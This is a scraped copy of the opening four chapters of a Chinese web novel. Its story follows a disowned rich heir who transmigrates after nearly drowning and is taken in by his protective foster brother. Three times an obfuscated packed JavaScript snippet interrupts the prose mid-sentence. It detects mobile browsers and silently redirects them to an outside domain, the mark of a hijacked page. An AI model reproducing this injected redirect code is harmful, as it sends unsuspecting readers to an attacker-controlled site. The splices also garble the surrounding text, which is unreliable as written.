《冤种舔狗只想搞事业》 1. 01 午夜一点半。 正常人早已进入梦乡的时间点，关明熙才刚刚结束加班，正在赶往警局的路上。 准备去捞人。 刚接到电话的时候，关明熙第一反应就是那个便宜弟弟又闹了什么幺蛾子。 随后才听说是不小心失足落水，被人给救了上来。 电话里“失足落水”的部分说得语焉不详，大约是有什么内情。 但被捞上来的人坐在警察局里，精神恍惚，一问三不知，警察也没办法，只能等家属过来认领。 然而到这一步也费了一番波折。 因为林照夜已经没有家人了。 一个多月之前，林照夜还是林家唯一的大少爷，声名在外的废物二世祖。 林老爷子中年得子，求医问药多年就得了这么一根独苗苗，这么多年百般溺爱，终于是把人给宠废了。 吃喝玩乐之外的事情，林少爷全都一窍不通。 大学毕业后进公司，不到两年时间，差点把自家公司都玩废了。 听说还是为了讨好他的小情人。 可这一回林老爷子却没有再给他兜底，而是从外面领回来两个私生子。 就在一个多月前，林老爷子六十寿宴上，直接当众宣布和林照夜断绝父子关系，并将他赶出了家门。 随后寿宴就变成了私生子的亮相晚会。 自从被林家赶出家门，林照夜的日子就不大好过了。 过去捧着他的狐朋狗友反过来落井下石，恨不得把他彻底踩到烂泥里，掏心掏肺讨好了许久的小情人也转头另投他人怀抱。 简直就是一个大写的“惨”字。 定期给关明熙汇报林少爷近况的助理都时常面露同情，唏嘘不已。 林少爷这人是不着调了点，惯爱吃喝玩乐，不思进取，倒也没什么触及底线的劣迹。 比起富二代圈子里那些逼良为娼、藐视律法甚至草菅人命的活阎王，林少爷都能称得上一句干净纯良。 就是能力差了点，脑子也不大好使。 众星捧月的林家大少爷不当，偏偏昏了头跑去给一个十八线小明星当舔狗。 舔着舔着反倒把自己的富贵命舔没了。 可话又说回来，谁又能想得到林老爷子真能那么狠心，宠了二十几年的亲儿子，说不要就不要了。 若非如此，也轮不到关明熙来管这便宜弟弟。 关家和林家没什么关系。 但林照夜的生母——也就是前不知道多少任的林夫人，恰好是关明熙的养母。 林妈离婚之后没抱过一次亲儿子，连见面都不被允许，一腔母爱都挥洒在了关明熙这个半路养子身上。 关明熙知道养母一直记挂着亲儿子，明面上没什么交集，但暗地里没少关注。 林照夜刚被赶出林家的时候，关明熙就准备把人接到身边来了。 不过这一个月他正好人在国外，又有心叫这小祖宗吃点教训长长记性，所以只叫人暗中盯着，不闹出人命就行。 没成想，关明熙刚回A市不到二十四个小时，林照夜人就进局子了。 “关总，到了。”司机在警局边停下车。 “关总。”等在路边的男人立马迎上来，看到下了车的关明熙便松了一口气，“林少爷在里面——” 男人身上穿着睡衣，外面套了件外套，一只脚上还穿着虎头拖鞋，混搭得有点滑稽。 实在是来得匆忙。 他是关明熙特意安排的保镖之一，这一个月一直跟在林照夜身边暗中保护。 关明熙有心叫便宜弟弟吃点苦头，没叫他们露面。 几个人轮班值守，限制颇多，难免有些疏忽的时刻。 更何况这种林少爷大半夜突然心血来潮跑出去鬼混的情况。 保镖盯了一个月，没见林少爷有什么过激行为，一时放松警惕，晚上在隔壁别墅里“值班”的时候打了个盹。 等到半夜惊醒回看监控，发现林少爷拎着酒瓶出了门，之后就不知去向，差点魂都吓飞了，连忙摇醒同伴分头出去找人。 找到人的时候，林照夜人已经在警局了。 保镖这才匆忙联系上关明熙。 “看方向，林少爷可能又去找那个小明星了。”保镖小声跟关明熙交代道，“那边桥上监控坏了很久了，周围也没目击证人，幸好一个路过的年轻人听到有人落水的动静，跳下去把林少爷救上来了。” “这个点路过？”关明熙微微蹙眉。 “是附近的大学生，跟同学毕业聚餐，准备玩通宵的，结果那些人跑去KTV点小姐，他受不了就先走了。”保镖语速飞快地解释，“警察已经去核实过了，确实是这么回事。” 还顺便扫了个黄。 “警察给林少爷测了个酒精浓度，喝了不少。” 总而言之，暂时没查出什么人为迹象，很大概率是自己喝多了不小心栽进河里的。 “不管怎么说，也得好好谢谢人家。”关明熙说道。 “是……是这个道理。”保镖有点尴尬，一边在前面推开警局的门，一边小声解释，“不过那位同学把人送过来之后就走了，我都没见到他，回头我们再跟警察打听一下。” 当务之急还是先把林少爷接回去。 “那位救命恩人的事交给汤助理去办。”关明熙嘱咐了一句，快步走进了警局。 隔着会客室的玻璃门，他一眼就看见了要找的人。 林照夜裹着毯子，微微低垂着脑袋，正坐在墙边的长椅上发呆。 此时还是春寒料峭的时节，警局里暖气开得不是很足，他的发梢处还在慢慢往下滴水。 一滴砸到地上，一滴顺着脖颈滑进衣领。 也许是感知到了凉意，他微微瑟缩了一下身子。 好心的女警端来一杯热水，脸上露出几分母性的怜爱：“喝点热水，暖暖身子。” 林照夜抬头看了她一眼，伸手接过杯子，轻声说：“谢谢姐姐。” 微卷的发尾湿哒哒的沾在脸颊上，湿漉漉的杏眼自下仰视着面前的人，像是受了惊的小动物，乖巧又无辜。 女警顿时感觉自己的小心脏遭受了一记暴击。 唉，可怜的弟弟。 女警的声音不自觉又轻了几分：“你再等等，我们已经联系到你的家人了，一会儿就过来接你。” 林照夜还有点恍惚，乖乖点了点头，然后又低头去喝水。 关明熙就在这时候推开门走了进来。 他先跟一旁的警察寒暄了几句，说明身份和来意，又给了证明，最后才走到林照夜面前。 “感觉怎么样？”清冷的声音在头顶上方响起。 林照夜慢了半拍才反应过来面前有人，抬头看了一眼，发现来人脸生得很。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14966401|161260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但他还不能确定面前是不是“熟人”。 “有点晕。”林照夜老老实实地回答问题，也绝不多说半个字。 其实是有点懵。 眼睛一睁一闭就到了另一个世界——换谁都会觉得自己还在做梦。 “喝成那样不晕才怪呢。”旁边负责记录的民警插嘴道，“你这小同志年纪轻轻有什么坎迈不过去，身体才是最要紧的。” 林照夜乖巧点头，在民警看来就是羞愧认错的样子。 民警又转向旁边来接人的“家长”：“你是他哥哥吧，作为兄长也要多关注一下弟弟的心理健康，回去好好说说，下次可不能这么喝了。” 关明熙点点头，表情和语气都很温和，但也很平淡：“我知道了。” 他没有否认民警的话，却也没有对林照夜疏离陌生的态度有什么疑问。 因为在这之前他们确实不熟。 以往最多就是在大型宴会上有过几面之缘，林照夜有自己的狐朋狗友簇拥着，关明熙并不会去凑热闹。 他只要远远地确认林照夜过得还不错就够了。 现在关明熙很怀疑林照夜还能不能记起自己的名字。 所以他先做了个自我介绍：“我叫关明熙。” “你妈妈——”关明熙微微顿了顿，说得更详细了一些，“你的生母这两年身体不太好，正在国外疗养，所以这段时间就由我来照顾你。” 林照夜的眼神有些涣散，好一会儿才点头：“哦。” 关明熙不确定他是不是真的听清楚了自己说的话。 但这不重要。 他已经尽到了告知的义务。 “你先跟我回去。”关明熙直接说道。 “好。”林照夜乖乖点头，起身跟在他身后。 关明熙略带诧异地看了他一眼，意外于他的听话程度。 他甚至做好了看林照夜大闹警局然后叫保镖把他强行带走的戏码，唯独没想到他真的不吵也不闹，自己这个半生不熟的陌生人说什么都照做。 也许是酒精的作用。 现在这样反倒省了不少事，关明熙懒得深究原因，跟警察道过谢就带着林照夜离开。 上了车之后，关明熙刚平复下去的心情又沉下去几分。 林照夜是不吵不闹了，可一上了车，封闭性绝佳的密闭空间里，浓郁的酒气就逐渐蔓延开来。 关明熙微微拧着眉打开车窗。 酒气还没散去几分，他又感觉肩头一重，转头一看，就见林照夜闭着眼睛栽倒过来。 关明熙伸手把他推开，却先摸到一手泥泞。 他愣了愣，才想起来林照夜是掉进湖里了，虽然进了警局之后换了干衣服，但显然没有仔细洗刷过脑袋，浓密的黑发里还沾着污泥和水草。 关明熙闭了闭眼睛，勉强忍住了把人直接踹下车的冲动。 这是弟弟。 是干妈一直心心念念担忧挂怀的亲儿子。 是他承诺过只要自己活着就有他一口饭吃的异父异母的亲弟弟。 司机握着方向盘的手紧了又松，莫名不敢直视后座上的人，好一会儿才硬抗着尴尬紧绷的气氛，小心翼翼地问了一句：“关总，去哪边？” 关明熙抿紧了唇角，做了好半天心理建设，才沉声道：“去春华苑。” 顿了顿，又补充道：“快点。” 2. 02（修） 司机不敢多话，猛踩油门。 午夜的主干道畅通无阻，司机很快将车开在了公寓楼下。 春华苑在关家的公司总部附近，为了上下班方便，关明熙很早之前就在这里置办了私人住宅，按时间算下来，居住频率能排到前三，可以算是相当私人的宅邸了。 除了助理和家政，关总还没带外人进过家门。 包括他那些总想着贴上来套近乎的堂表兄弟姐妹，全都一视同仁的表面温和，内里冷漠疏离。 像是圈地的猛兽，绝不允许无关人等踏足自己的领地。 司机帮忙搀扶着半昏迷状态的林照夜进电梯，一边胡思乱想着，眼神不自觉地往林少爷的侧脸上飘。 心说这林少爷还真是命好，前脚被林家赶出家门，后脚又抱上了更粗的大腿。 关总这态度，对亲兄弟也不过如此了。 进了家门，关明熙就从司机手里接过了人，叫他回去休息。 就算是司机也不能轻易过了他家的玄关。 不过看着手机里的加班红包，司机也只有高兴的份，有一瞬间甚至忍不住想，林少爷要是天天这么晚出去浪就好了。 当然也就那么一瞬。 一想到关总身上的低气压，什么念头都瞬间消失得一干二净，他连忙加快脚步下了楼。 另一边，关明熙关上家门，第一件事就是将林照夜扔进浴缸，打开花洒。 兜头浇下来的冷水刺的林照夜一个激灵，清醒了一瞬。 很快冷水就变成了热水，淡淡的雾气在浴室里升腾开来，林照夜抬起头，隔着水雾看到关明熙的脸。 面容俊朗，居高临下，眼神如墨，云雾蒸腾间像是天上谪仙。 林照夜看清了他眼底闪过的不耐烦。 ——好像不是做梦？ 林照夜伸手抹了把脸，感觉后脑勺一阵阵钝痛，浇在皮肤上的热水微烫，感知实在过于真实了。 正恍惚着，关明熙就放下了花洒，丢下一句：“洗干净再出来。” 然后转身出了浴室。 林照夜后知后觉，还在检索着脑海里混乱的记忆。 醉酒、落水、林家、关明熙…… ——穿越。 他没来得及想清楚，在阵阵热气中只觉得脑袋越来越沉，身上滚烫得像是要烧起来。 “砰——” 门外，关明熙刚从衣柜里翻出一身新衣服，正准备放在门口，就听见浴室里面传来一阵闷响。 “林照夜？”关明熙叫了两声，没有听见任何回应。 浴室里只隐约传来阵阵水流声。 不会是睡着了吧？ 关明熙拧着眉，敲了两下门，才推开浴室门进去。 林照夜趴在浴缸边，身上的衣服都没脱，花洒里的水浇在他一边的肩头，衣服很快就湿透了，人却一动不动。 关明熙脸色一遍，快步上前，抬起他的下巴，就见他紧闭着双眼，脸颊通红。 再一摸额头，一片滚烫。 关明熙眼底闪过懊恼。 疏忽了。 现在虽说已经是春天，但深夜气温还是偏低，更何况林照夜喝了那么多酒又在湖里泡了水，回来的路上还吹了一路冷风。 关明熙心底那点迁怒的怨气顿时消去大半，多了几分心虚和歉疚。 他没再多想，赶紧掏出手机叫司机回来。 然后一手关掉花洒，一手轻拍着林照夜的脸：“醒醒——” 林照夜还是软趴趴地趴在浴缸边，一点反应也没有。 关明熙抿着唇角，一把抽过旁边的干浴巾垫着，一手托起昏迷的人的膝弯，将林照夜从浴缸里面抱了出来。 陡然失重的感觉激发出几分求生的本能，林照夜这时候才有了点反应，下意识伸手扒住身前人的肩头，又本能般环住关明熙的脖子，紧紧贴上去。 他并没有醒，关明熙听见他梦呓般的喃语：“岚岚，对不起……” 岚岚是谁？ 关明熙心底的疑惑一闪而过，很快就被敲门声打断。 万幸司机还没走太远，接到关明熙的电话立马就折返回来，很快就到了门外。 看到关明熙怀里抱着的林少爷，司机惊讶地瞪大了眼，一时间都忘了自己要说什么。 关明熙没跟他废话，沉声道：“去医院。” …… 高烧，还有疑似脑震荡。 似乎是落水之后，后脑不小心撞到了水里的礁石。 在医生的建议下，林照夜留院观察一周。 当然，住院的决定以及各种各样的手续都是关明熙包办的，林照夜进了医院直接昏迷了一天一夜，直到第二天早上才醒过来。 关明熙早上要去公司开会，在医院留下了护工和汤助理。 汤助理从医生那里拿到最新的检查报告单，转身回病房之后就放轻了动作，将报告单一同放进病历夹里。 转头正要将病历和报告单放进柜子，忽然感觉有哪里不对。 他连忙转回头，看向病床。 就见林照夜不知何时睁开了眼睛，正直勾勾地盯着他看。 “……”汤助理手一抖，病历单和检查报告撒了一地，但他也顾不得去捡，连忙问道，“林、林少爷，你醒了？有没有感觉哪里不舒服？” 林照夜的脸色十分复杂，或像是刚刚十八倍速看完八百集的狗血电视剧，半晌才归于平静，幽幽地叹了口气。 “请问你是谁？”林照夜问道。 “我叫汤逸。”汤助理回答道，“关总让我这段时间过来照顾你。” “那你知道我是谁吗？”林照夜又问道。 “林少爷——”汤助理猛然睁大了眼睛，语气却变得小心翼翼，“你是林照夜，是林家……呃，是我们关总的弟弟。” 林照夜的视线从他身上移开，盯着天花板发了一会儿呆，又道：“最后一个问题，请问现在是哪年哪月哪日？” 汤助理的回答是转身冲出病房找医生。 “医生——沈医生，你快过来给林少爷再看看脑子，他好像撞坏脑子了！” 林照夜：“……” 这人略微有点没礼貌。 林照夜深深地叹了口气，继续盯着天花板发呆。 他并没有失忆，只是一时没能接受自己穿越的现实。 脑海里两段相似又截然不同的人生记忆交织在一起，醒过来的两个小时已经足够他区分并梳理清楚。 他也终于回想起了最重要的一段记忆——前世的他应该已经死了。 地震来得突然，身处在高楼上的他根本来不及逃生。 就算是弥留之际的幻象，也应该是他从废墟里面爬出来，而不是一睁眼就差点溺毙在湖底。 脑子里也不应该多出另一段完整的人生经历。 睁眼闭眼两三次，再醒来还是在这个新世界里。 这个世界与他熟悉的世界处处相似，细节上又处处迥异，足够他以最快的速度适应，同时又清楚地知道这不是他原来的世界了。 直至此刻，林照夜才接受现实——他好像真的穿越了。 好消息是他还叫林照夜。 相貌与前世相差无几，就连手腕内侧的胎记形状都一模一样。 更好的消息是，他穿成了一个富二代，从小锦衣玉食，众星捧月，被人叫着“少爷”长大的。 还时光逆转，年轻了好几岁。 但不幸的是，这个“富二代”一个月前刚被有钱亲爹赶出家门。 原本板上钉钉的继承人位置被私生子“哥哥”后来居上。 为了给更优秀的私生子铺路，身为亲爹的林父不惜要将留在身边养育了二十多年的儿子赶尽杀绝。 理由么，也是现成的。 原主是个恋爱脑。 ——这是委婉点的说法，直白点说就是个绝世舔狗。 几年前原主和狐朋狗友聚餐的时候，偶遇了刚出道的白月光，就此对他一见钟情，情根深种，百依百顺。 送钱、送资源、送温暖， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14966402|161260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 硬生生用钞票和家世背景把一个十八线小糊糊砸成了当红流量小生。 每每白月光遇到什么事，原主宁可放下手头要紧的工作，也要在第一时间冲过去给他撑腰。 直到三个月前，白月光又来哭诉，说有人抢了他的角色和代言，对方还带着金主在酒局上公然威胁侮辱他，甚至还扇了他一巴掌。 原主看到他脸上那一道浅浅的巴掌印，登时气血上头，冲过去就把人揍了一顿。 谁知道这一回就踢上了铁板。 那位金主恰好是林家某位合作商家的少爷，林家正在争取他家的单子，就在这临门一脚，被原主给搅和没了。 对方借机发难，不依不饶，不仅撕毁了即将要签约的合同，还放话说要和林家不死不休。 林老爷子因此大动肝火，先是解除了原主身上的所有职务，收回了他手里的股份，还在自己寿宴上领回了两个私生子，并当众叫保镖将原主扔出了宴会厅，放话说和这个败家子断绝一切关系。 几乎是将“羞辱”二字诠释到了极致。 偏偏旁人也无从置喙，昔日这林少爷可没少为了那位白月光做些荒唐事。 在他们看来，曾经的林照夜不过就是仰仗着林家唯一继承人的身份，有恃无恐。 没想到林老爷子在外面竟然还有两个私生子。 而且这两个私生子全都比林照夜优秀得多。 一个“哥哥”，出身草根，凭一己之力考进名校，短短几年就在知名企业爬到高管的位置。 一个“弟弟”，各种竞赛奖杯拿出来能闪花人眼，妥妥的少年天才。 对比之下，原主这个在林家锦衣玉食长大的“少爷”，成绩平平，能力平平，工作态度更是不端正。 若要外人来看，选哪一方自然是一目了然的事。 私生子说出去名声到底不好听，刚回到林家也没有任何根基。 但自身能力出众，父亲偏爱重视，也足够叫外人在明面上闭上说闲话的嘴。 唯一受伤的也就是无能的前任林少爷了。 不少人私下里觉得林父太过冷漠无情，但也有不少人幸灾乐祸，等着看原主的笑话。 曾经狐朋狗友无一伸出援手，更有落井下石的。 就连曾经掏心掏肺舔了好几年的“白月光”都来踩他一脚。 原主刚被赶出家门，“白月光”就翻脸不认人。 闭门不见，电话拉黑，人间蒸发一般消失在原主面前。 最后原主还是从曾经的狐朋狗友的奚落嘲讽里得知，原来“白月光”早就和他的死对头勾搭在一起了。 在朋友圈里看到死对头和林家私生子兄弟的聚餐合照，原主才隐约琢磨过味来。 他这是被人联手下了个套。 因为“白月光”的存在，他想都没想就径直往里钻了。 换做正常人，猜到真相之后就该痛定思痛，彻底割舍掉这段孽缘，甚至因此黑化，因爱生恨，想尽一切办法报复回去。 但原主没有。 他不仅没有因此恨上“白月光”，还在血淋淋的现实面前装聋作哑，担心是死对头对“白月光”威逼利诱，才叫他断了和自己的联系。 躲在自己的别墅里醉生梦死了一个月之后，原主半夜收到死对头发来一堆露骨的“白月光”的床|照。 原主第一反应是愤怒。 但愤怒的对象不是背叛了他的“白月光”，而是死对头。 他觉得死对头一定是用了什么恶毒的手段逼迫“白月光”，做了那些违心的事。 于是他想也没想就在半夜冲出了家门，准备去“拯救”他心爱的白月光。 结局毫无意外，又是一出落井下石痛打落水狗的戏码。 原主就是那条可怜兮兮的落水狗。 回来的路上还真的栽进了水里，就这么丢掉了性命。 再然后，再睁开眼就是现在的林照夜了。 回顾完原主记忆的林照夜：“……” 好一个惊天绝世大舔狗。 3. 03（修） 沈医生被叫过来的时候，手上还拿了一沓新鲜出炉的检查报告。 其中包含了脑部的片子。 从片子来看，林照夜的脑子应该没有撞出什么毛病。 但汤助理慌里慌张地冲过来说病人醒来后失忆了，沈医生只好先放下其他检查结果，过来给林照夜重新检查认知问题。 汤助理紧张兮兮地在旁边看着，大气都不敢出。 沈医生琢磨着先聊聊，要是问题严重再做进一步的检查。 结果跟林照夜聊了几句之后，沈医生顿时无语。 汤助理看沈医生开始低头写病历，小心翼翼地问：“林少——呃，林先生状况怎么样？” 沈医生神色淡然地在病历单上笔走龙蛇，给出了一个比较乐观的结果。 “没什么大碍，刚刚可能是睡太久大脑缺氧导致一时意识不清，等不晕了多下床走动走动应该就没事了。” 简单来说就是睡懵了。 林照夜：“……” 汤助理：“……” 不是真的撞坏了脑子就好。 没等汤助理松一口气，沈医生就翻出了文件袋里的那一沓检查报告，又道：“目前来看，林先生的大脑和记忆都没什么问题，不过——” 他一顿，看向汤助理：“你是病人的家属吗？” 汤助理摇头。 沈医生低头看了看报告，又转头看了看病床上脸色苍白的林照夜，欲言又止，轻叹了一口气：“最好让家属过来一趟。” 汤助理一颗心顿时又七上八下。 关明熙刚开完早会，听说林照夜醒过来的消息，立刻就赶了过来。 正好赶上沈医生还在病房里。 汤助理飞快地小声给他交代了前因后果，然后就很自觉地退到门外，将空间留给了医生和真正的“家属”。 关明熙看这阵仗也是心头一跳，看向沈医生的表情都比平时肃穆了几分：“沈医生，林照夜他——” 他瞄了眼安静地抬头看他的林照夜，顿了顿，又压低声音问：“需要我们稍微回避一下吗？” “又不是绝症。”沈医生暗暗翻了个白眼，面上还是沉稳可靠的名医风范，“就是要当面交代一下为好。” 沈医生将一沓报告单都递到关明熙手上。 “你是他哥哥吧，虽说只是兄弟，但俗话说长兄如父，平时该管——关照的，还是多关照一下。就算现在年轻力壮，也不能这么作践自己的身体。” 沈医生一一说明了最终的检查结果。 大病没有，小毛病一堆。 他甚至还检查出了营养不良。 相较之下，退烧之后，受凉感冒都只能算是小问题，归根结底还是体质太差。 一看就是长期熬夜喝酒不运动，还不好好吃饭。 林照夜刚被送进医院的时候，医生就先给他吊了一瓶葡萄糖。 沈医生特意叫“家属”过来也是考虑到年轻人叛逆，把自己的身体作践成这样都未必能长记性，也只有家里人能出于关心和责任心管教一二了。 关明熙翻看着检查报告，眉头越皱越紧。 旁听的林照夜头越埋越低。 虽说是原主作的死，但他同样也是林照夜，还接收了原主全部的记忆，看着旁边人看叛逆小孩一般恨铁不成钢的表情，也略微有那么一点点心虚。 林照夜默默低头抠着被角。 关明熙放下报告，一转头就看到他低垂的脑袋，大了一号的病号服罩在身上有些空荡，白皙的后颈仿佛一折就断了。 那一点点侧脸更是一片苍白，看不出几分血色。 真是可怜。 关明熙眉头一松，蓦的想起这一个多月他突逢巨变，权势、地位一夕之间就离他而去，接连遭遇波折背叛，就连亲生父亲都向他挥下屠刀。 过往的光鲜繁华转眼化为云烟，只留镜花水月一场空。 这要他如何能保持平常心？ 关明熙心生恻隐，到底没有苛责他什么，只对医生应道：“是我疏忽了，以后我会注意。” 沈医生仔仔细细交代了休养身体的注意事项，包括不限于规律作息，按时吃饭。 除此以外，后脑的撞击伤仍然还有几分隐患。最好再留院观察几天。 关明熙都一一点头应下。 随后不到两个小时，汤助理专门聘请的营养师就已经安排到位，正好赶上午饭饭点。 关明熙陪着林照夜吃了一顿午饭。 当然是分了餐。 林照夜面前是一份病号餐，理所当然整体清淡，但关明熙的口味看着也差不了多少。 也可能是他不怎么挑食。 林照夜挨个将餐盘里的胡萝卜片挑到一边，才开始细嚼慢咽。 这具身体确实有点虚。 在进医院之前，原主似乎有四五天没吃过正餐了，都是饿了就从酒柜里随手捞一瓶酒出来，就着柜子里不知道什么时候塞进去的零食对付几口。 进了医院之后又空了几天，骤然间开始吃东西，林照夜没感受到饥饿感，反而有点反胃。 但他比谁都清楚身体健康的重要性，强压着不适，慢慢吃完了那份分量不大的病号餐。 餐盘被收走后，关明熙给他递了一杯温水。 林照夜看了他一眼，轻声说了句：“谢谢。” 关明熙自己拉了张凳子在病床边坐下，又从柜子上的果盘里捡了个不到掌心大的小苹果，开始用水果刀削皮。 他的动作很熟练，看得林照夜有点惊奇。 不大一会儿，完整的果皮“啪嗒”一声落进了垃圾桶，关明熙将小苹果对半切开，递给林照夜一半：“餐后水果。” 林照夜开始慢慢啃苹果的时候，关明熙上下打量了他几眼，才提起正题。 “你还记得你的亲生母亲吗？” “……”林照夜顿了顿，抬头瞥了他一眼，一时不知道该怎么说。 “你知道我是谁。”关明熙从他的反应里看出了端倪。 “关总嘛，久仰大名。”林照夜将苹果咽下去之后才说道，“年少有为的精英人物，我们这些纨绔仰望的标杆，长辈挂在嘴上的别人家的孩子，怎么会不认识。” “还有呢？” “……”林照夜瞄了关明熙一眼，清楚他不是想听自己继续夸他，低下头去，有点含糊地说道，“我知道她后来收养过你。” 这里的“她”指的是原主的生母，同时也是关明熙的养母。 不只是原主自己，林照夜这个旁观者，对这位生母的感情也有些复杂。 原主的生母姓池，和林父是商业联姻，年龄相差十多岁，婚后几年也没培养出什么感情来。 原主一出生，池女士就和林父离了婚。 从那之后，至今二十多年时间，原主都没有再亲眼见到过生母一面。 在林家，所有人都在有意淡化这位前林夫人的存在。 小孩子渴望母爱是天性，原主不是没有想过怨过这位抛弃自己的生母，但随着年纪渐长，他很早就放下了对于母亲不切实际的妄想。 无论是局外人林照夜，还是原主自己，他们都很清楚，这怪不了池女士。 林父不仅不是良配，还是个糟糕透顶的男人，为人冷漠自私又风流成性。 当初他挑中池女士联姻，不过就是看中池家好生养的基因。 林父生育困难，在池女士之前还娶过三任妻子，外面还有情人无数，辛勤耕耘了快二十年，只有某个前妻流产过一次，除此以外就再没有别的动静。 他自然不会承认是自己的问题，只觉得是女方基因不好。 眼看着年纪大了，膝下连个继承人都没有，林父才将目光投向了背景平平的池家。 若论家世背景，几十个池家摞起来也够不到林家的边。 但好就好在池家是个人丁兴旺的大家族，家族里每对夫妻都至少有两个孩子，其中大部分都是男丁。 这一大家子甚至同时有三对双胞胎，一组三胞胎。 全都是男孩。 池女士是她那辈仅有的三个女孩之一。 因为相貌最好，学历也不错，池女士毫无意外地被林父一眼相中了。 池家一心攀附豪门，忙不迭地就将大学还没毕业的女儿给卖了。 父母挟恩图报，亲戚轮番上阵劝说，又有林家的权势压迫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14966403|161260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 池女士别无选择，就这么被逼着嫁给林父。 为了生下林家的继承人，池女士吃了不少苦头，身体和精神都被折磨得不成样子，最后才勉强怀上了孩子。 幸好是个男孩。 还没出月子，池女士就火速提出离婚。 继承人有了，林父本来就对木讷胆小的池女士没什么感情，被提离婚这件事虽然让他有些面上无光，但见她态度坚决，甚至以死相逼，最终还是点头同意了。 条件是不能再见这个儿子。 离婚之后，池女士的存在就成了林家的一种禁忌。 但林父再怎么忌讳，也架不住某些知情人看热闹不嫌事大，或者干脆就是别有用心，总在私下里拿被母亲抛弃的事来撩拨年幼的原主。 原主在这件事上素有心结，却也不是听风就是雨的傻子。 长大了一些之后，他曾私下里调查过生母的事。 池女士离婚之后就和池家断绝了关系，销声匿迹了一段时间后，就又回到学校念书，在勤工俭学的时候遇到了后来的爱人。 等到原主能明辨是非的年纪，池女士已经另外组建了家庭。 那时候她还收养了一个孩子，就是关明熙。 原主并没有去追查生母是怎么有了另一个明显比自己大的儿子，只是拿着私家侦探偷拍的一家三口的照片看了许久，最后都一起丢进火里烧了干净。 那之后他就没有再关注过生母那边的事。 但他记得关明熙。 从关明熙回到关家，以无比强硬的姿态收拢权势，一夜之间名震商圈的时候起，原主就清楚地知道他是谁。 看过原主记忆的林照夜自然也清楚他的身份。 而且他比原主看得更清楚的是，池女士这么多年来并没有遗忘这个被迫抛弃的亲生儿子。 甚至可能常怀愧疚，念念不忘。 否则关明熙不会以这样理所当然的庇佑保护的态度出现在他面前。 关明熙和他眼神一对，就知道他对生母并非一无所知。 没见怨恨，只有一些尴尬和无所适从。 关明熙心底悬着的一块石头落地，没有留意到自己的眼神和语气都比一开始柔和了许多。 “她去年才退休，陪秦叔——她爱人去国外参加交流活动，在那边生了病动了手术，需要好好静养两年，我就暂时没有告诉她国内发生的事。” “嗯。”林照夜抬头看了关明熙一眼，然后又低头，与他错开视线，低声问，“她……现在怎么样了？” 要不是病房足够安静，关明熙险些都听不到他的声音。 “没有性命之忧，但身体还有点虚弱，没办法接受长途奔波。现在她在当地最好的疗养院里休养，有秦叔陪着她，等——” 关明熙停顿了一下，改口：“等她状况再好一点之后，我再带你去看她。” 林照夜继续低头抠着被角，没吭声。 他上辈子父母恩爱开明，家庭幸福美满。 骤然间直面原主家里这一盆盆狗血往事，着实是有点措手不及。 他并不觉得池女士的选择是错误的，但也不能全然无视原主多年的委屈。 他又把原主记忆里有关母亲的部分来来回回仔仔细细翻看了好几遍。 确定原主确实不再怨恨生母，只是单纯不想打扰她现在平静幸福的生活之后，林照夜才小幅度地点了下头。 关明熙心底最后一点顾虑落下。 “以后你就是我的亲弟弟。外面的事情你不用操心，有我在。” “我对你没有别的什么期望，只要不违法犯罪，旁的事我都能给你兜底。唯一的要求就是，要听话。” 关明熙一边说着，一边将剩下半边苹果削成了三个小兔子，放在小茶碟里递到林照夜面前，跟哄小孩的架势差不多。 “医生说要多吃水果。” “……”别说，小兔子削得还挺可爱的。 林照夜默然片刻，还是乖乖低头：“谢谢哥。” 关明熙微不可查地翘了下嘴角，看着他略显蓬松却柔软的黑发，还是没忍住顺手摸了一把：“乖。” 确实挺软的。 4. 04（修） 为了让林照夜好好养身体，沈医生直接剥夺了他接触电子屏幕的权利。 看时间都只能抬头去看墙上的石英钟。 在醒来的第二天早上，林照夜下楼的时候差点因为低血糖一头栽下去之后，他的活动范围就被限制在了病房所在的这一平层内。 最远的地方就是走廊尽头的小小露台。 还得等营养师或者汤助理亲眼盯着他吃完早饭之后，才允许他下床活动。 就算出了病房，无论去哪里身后也总会有人跟着。 实在是那天下楼的时候被吓到了。 要不是有保镖暗中守着，看出林照夜状态不对，及时把人拉了回来，说不准他还得再在医院包个月，添个骨折之类的病项。 林照夜不习惯被人这么紧盯着，也不想给别人添太多麻烦，索性老老实实地躺回病床上。 关明熙这段时间工作很忙，不可能一直待在医院陪他，就留下了汤助理。 汤助理一开始是坐在病床边陪林照夜聊天，聊了不到几个小时，连他幼儿园时候暗恋女老师的黑历史都交代了。 林照夜看着并不是那种特别外向的人，相反，或许是有皮相的加成，多数人对他第一印象都是“乖”、“安静”、“腼腆”。 但事实上么，不说完全相反，至少也是毫不相干。 